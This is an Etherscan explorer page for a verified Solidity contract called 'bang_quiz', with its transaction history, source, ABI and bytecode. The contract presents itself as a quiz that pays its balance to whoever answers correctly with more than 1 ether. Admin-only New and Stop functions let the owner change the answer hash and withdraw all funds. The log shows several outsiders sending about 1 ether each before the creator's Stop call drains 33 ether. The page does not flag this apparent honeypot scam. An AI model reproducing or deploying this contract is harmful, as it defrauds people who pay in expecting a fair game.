Contract 0xB58cB1da029Bd82BD5b26b7851608735B93a4A6b

 
 
Txn Hash
Method
Block
From
To
Value
0x10019ac880b774d73f389edb218755bd4938ec9fc578e5f9a6e78c32061c5541Stop117100472021-01-23 5:52:44684 days 17 hrs ago0x67484a05e950ecbb8f6445cddd4ea50b574dfc06 IN  0xb58cb1da029bd82bd5b26b7851608735b93a4a6b0 Ether0.0016103553.000111
0xca6bd42d660f5b3e6efabcb6681a1fa80bd8dc3e833ea4026a537ecb7913fa8eTry117079502021-01-22 22:16:20685 days 36 mins agoENS Name lux.eth IN  0xb58cb1da029bd82bd5b26b7851608735b93a4a6b1.001 Ether0.0018383280
0x273008d4985d77e693555c7734833c5cea202e39cd38f0fc8680262b06c871c7Try117078822021-01-22 21:59:52685 days 52 mins ago0x72bed203c9a5eff37e1f55be91f742def6e0e5c7 IN  0xb58cb1da029bd82bd5b26b7851608735b93a4a6b1.01 Ether0.0016085370
0xd79ce2d32976845152a4a1fd84d8579deb2c73d2d6d33e3abe2c51f0769147ebTry117078752021-01-22 21:59:35685 days 53 mins ago0x72bed203c9a5eff37e1f55be91f742def6e0e5c7 IN  0xb58cb1da029bd82bd5b26b7851608735b93a4a6b0 Ether0.0022979100
0xf29f4de790e92ca7ead60d4e48b7555234a8f43fe203712b23f415c516ec136dTry117078652021-01-22 21:57:23685 days 55 mins ago0x72bed203c9a5eff37e1f55be91f742def6e0e5c7 IN  0xb58cb1da029bd82bd5b26b7851608735b93a4a6b1 Ether0.0022979100
0x7eea8b7b695497548893db5297175feaaed574626a9903d7787676c63e8c8f7eTry117078632021-01-22 21:56:29685 days 56 mins ago0x4a2aa8ae44350c8eecceee4431ed407e2fe5e400 IN  0xb58cb1da029bd82bd5b26b7851608735b93a4a6b0 Ether0.00178378
0xe3a0d597f33fd69c1720fe9aa3d5d34665b0d3261cca4fdf3722d31713b241eeTry117078552021-01-22 21:54:31685 days 58 mins ago0x4a2aa8ae44350c8eecceee4431ed407e2fe5e400 IN  0xb58cb1da029bd82bd5b26b7851608735b93a4a6b0 Ether0.0018096579
0x0534495dca4c0b528b4e423017e3f2d6b41d3f8769bd07d60d09fac003d95f8aStart117077012021-01-22 21:22:43685 days 1 hr ago0x67484a05e950ecbb8f6445cddd4ea50b574dfc06 IN  0xb58cb1da029bd82bd5b26b7851608735b93a4a6b30 Ether0.0013771553.000111
0xcc46426c6114e2a791d20ec732839e32b1a423b6a614a62b7dce5232089065ab0x60806040117076922021-01-22 21:21:30685 days 1 hr ago0x67484a05e950ecbb8f6445cddd4ea50b574dfc06 IN  Create: bang_quiz0 Ether0.0214549753.000111
[ Download CSV Export 
AdvancedLatest 2 internal transactions
Parent Txn Hash Block From To Value
0x10019ac880b774d73f389edb218755bd4938ec9fc578e5f9a6e78c32061c5541117100472021-01-23 5:52:44684 days 17 hrs ago 0xb58cb1da029bd82bd5b26b7851608735b93a4a6b0x67484a05e950ecbb8f6445cddd4ea50b574dfc0633.011 Ether
0x1ce418865c5bf37405f9c76b15613d0e594a661beb83d0ed6445db320d76ba89117076992021-01-22 21:22:20685 days 1 hr ago 0xf4e96e2d3b4e27853b5eabc5b0ddcc664f2b1ed10xb58cb1da029bd82bd5b26b7851608735b93a4a6b0 Ether
[ Export Not Available for Advanced mode ]  
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
bang_quiz

Compiler Version
v0.4.25+commit.59dbf8f1

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2021-01-22
*/

contract bang_quiz
    {
        function Try(string _response) external payable 
        {
            require(msg.sender == tx.origin);

            if(responseHash == keccak256(_response) && msg.value > 1 ether)
            {
                msg.sender.transfer(this.balance);
            }
        }

        string public question;

        bytes32 responseHash;

        mapping (bytes32=>bool) admin;

        function Start(string _question, string _response) public payable isAdmin{
            if(responseHash==0x0){
                responseHash = keccak256(_response);
                question = _question;
            }
        }

        function Stop() public payable isAdmin {
            msg.sender.transfer(this.balance);
        }

        function New(string _question, bytes32 _responseHash) public payable isAdmin {
            question = _question;
            responseHash = _responseHash;
        }

        constructor(bytes32[] admins) public{
            for(uint256 i=0; i< admins.length; i++){
                admin[admins[i]] = true;        
            }       
        }

        modifier isAdmin(){
            require(admin[keccak256(msg.sender)]);
            _;
        }

        function() public payable{}
    }

Contract Security Audit

Contract ABI

[{"constant":false,"inputs":[{"name":"_response","type":"string"}],"name":"Try","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"question","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"Stop","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"_question","type":"string"},{"name":"_response","type":"string"}],"name":"Start","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"_question","type":"string"},{"name":"_responseHash","type":"bytes32"}],"name":"New","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"inputs":[{"name":"admins","type":"bytes32[]"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"}]

608060405234801561001057600080fd5b506040516105b43803806105b48339810160405280510160005b815181101561007857600160026000848481518110151561004757fe5b6020908102919091018101518252810191909152604001600020805460ff191691151591909117905560010161002a565b505061052b806100896000396000f30060806040526004361061006c5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416633853682c811461006e5780633fad9ae014610081578063bedf0f4a1461010b578063c76de3e914610113578063ed8df1641461019d575b005b61006c60048035602481019101356101eb565b34801561008d57600080fd5b50610096610264565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100d05781810151838201526020016100b8565b50505050905090810190601f1680156100fd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61006c6102f2565b6040805160206004803580820135601f810184900484028501840190955284845261006c94369492936024939284019190819084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a99988101979196509182019450925082915084018382808284375094975061035d9650505050505050565b6040805160206004803580820135601f810184900484028501840190955284845261006c943694929360249392840191908190840183828082843750949750509335945061040f9350505050565b3332146101f757600080fd5b8181604051808383808284376040519201829003909120600154149350508215915061022c90505750670de0b6b3a764000034115b15610260576040513390303180156108fc02916000818181858888f1935050505015801561025e573d6000803e3d6000fd5b505b5050565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156102ea5780601f106102bf576101008083540402835291602001916102ea565b820191906000526020600020905b8154815290600101906020018083116102cd57829003601f168201915b505050505081565b604080516c0100000000000000000000000033028152815190819003601401902060009081526002602052205460ff16151561032d57600080fd5b6040513390303180156108fc02916000818181858888f1935050505015801561035a573d6000803e3d6000fd5b50565b604080516c0100000000000000000000000033028152815190819003601401902060009081526002602052205460ff16151561039857600080fd5b600154151561026057806040518082805190602001908083835b602083106103d15780518252601f1990920191602091820191016103b2565b51815160209384036101000a600019018019909216911617905260405191909301819003902060015550845161025e93506000925090850190610464565b604080516c0100000000000000000000000033028152815190819003601401902060009081526002602052205460ff16151561044a57600080fd5b815161045d906000906020850190610464565b5060015550565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106104a557805160ff19168380011785556104d2565b828001600101855582156104d2579182015b828111156104d25782518255916020019190600101906104b7565b506104de9291506104e2565b5090565b6104fc91905b808211156104de57600081556001016104e8565b905600a165627a7a723058206290cf662068227f1537e9627d83f55b60595ddaeec5fe35b6f1e4e66279f9d1002900000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000003e9e7828027fd1350078633e472f5e360d04158cc9212555fc8149f119fc83c59ac875aefd920eb697e291f9414a2103c99426ce8ef319508f7fb321d71e92e858f59c0eee0b6ed0c521c2609770180e5d7de0e1de3a415621ca6ba99c914400e

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000003e9e7828027fd1350078633e472f5e360d04158cc9212555fc8149f119fc83c59ac875aefd920eb697e291f9414a2103c99426ce8ef319508f7fb321d71e92e858f59c0eee0b6ed0c521c2609770180e5d7de0e1de3a415621ca6ba99c914400e

-----Decoded View---------------
Arg [0] : admins (bytes32[]): System.Byte[],System.Byte[],System.Byte[]

-----Encoded View---------------
5 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000020
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000003
Arg [2] : e9e7828027fd1350078633e472f5e360d04158cc9212555fc8149f119fc83c59
Arg [3] : ac875aefd920eb697e291f9414a2103c99426ce8ef319508f7fb321d71e92e85
Arg [4] : 8f59c0eee0b6ed0c521c2609770180e5d7de0e1de3a415621ca6ba99c914400e


Deployed ByteCode Sourcemap

0:1296:0:-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;35:278;;;;;;;;;;;;;325:22;;8:9:-1;5:2;;;30:1;27;20:12;5:2;325:22:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8:100:-1;33:3;30:1;27:10;8:100;;;90:11;;;84:18;71:11;;;64:39;52:2;45:10;8:100;;;12:14;325:22:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;676:99;;;;435:229;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;435:229:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;435:229:0;;;;-1:-1:-1;435:229:0;-1:-1:-1;435:229:0;;-1:-1:-1;435:229:0;;;;;;;;-1:-1:-1;435:229:0;;-1:-1:-1;435:229:0;;-1:-1:-1;;;;;;;435:229:0;787:167;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;787:167:0;;-1:-1:-1;;787:167:0;;;-1:-1:-1;787:167:0;;-1:-1:-1;;;;787:167:0;35:278;116:10;130:9;116:23;108:32;;;;;;186:9;;176:20;;;;;;;;;;;;;;;;;;;160:12;;:36;;-1:-1:-1;;160:59:0;;;-1:-1:-1;160:59:0;;-1:-1:-1;160:59:0;;212:7;200:9;:19;160:59;157:145;;;253:33;;:10;;273:4;:12;253:33;;;;;;;;;273:12;253:10;:33;;;;;;;;8:9:-1;5:2;;;45:16;42:1;39;24:38;77:16;74:1;67:27;5:2;253:33:0;157:145;35:278;;:::o;325:22::-;;;;;;;;;;;;;;;-1:-1:-1;;325:22:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;676:99::-;1199:21;;;;1209:10;1199:21;;;;;;;;;;;;;1193:28;;;;:5;:28;;;;;;1185:37;;;;;;;;730:33;;:10;;750:4;:12;730:33;;;;;;;;;750:12;730:10;:33;;;;;;;;8:9:-1;5:2;;;45:16;42:1;39;24:38;77:16;74:1;67:27;5:2;730:33:0;676:99::o;435:229::-;1199:21;;;;1209:10;1199:21;;;;;;;;;;;;;1193:28;;;;:5;:28;;;;;;1185:37;;;;;;;;526:12;;:17;523:130;;;588:9;578:20;;;;;;;;;;;;;36:153:-1;66:2;58:11;;36:153;;176:10;;164:23;;-1:-1;;139:12;;;;98:2;89:12;;;;114;36:153;;;299:10;344;;263:2;259:12;;;254:3;250:22;-1:-1;;246:30;311:9;;295:26;;;340:21;;377:20;365:33;;578:20:0;;;;;;;;;;;274:1:-1;563:35:0;-1:-1:-1;617:20:0;;;;-1:-1:-1;;;;617:20:0;;;;;:::i;787:167::-;1199:21;;;;1209:10;1199:21;;;;;;;;;;;;;1193:28;;;;:5;:28;;;;;;1185:37;;;;;;;;879:20;;;;:8;;:20;;;;;:::i;:::-;-1:-1:-1;914:12:0;:28;-1:-1:-1;787:167:0:o;0:1296::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;0:1296:0;;;-1:-1:-1;0:1296:0;:::i;:::-;;;:::o;:::-;;;;;;;;;;;;;;;;;;;;:::o

Swarm Source

bzzr://6290cf662068227f1537e9627d83f55b60595ddaeec5fe35b6f1e4e66279f9d1
Block Transaction Difficulty Gas Used Reward
Block Uncle Number Difficulty Gas Used Reward
Loading
Loading
Make sure to use the "Vote Down" button for any spammy posts, and the "Vote Up" for interesting conversations.

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.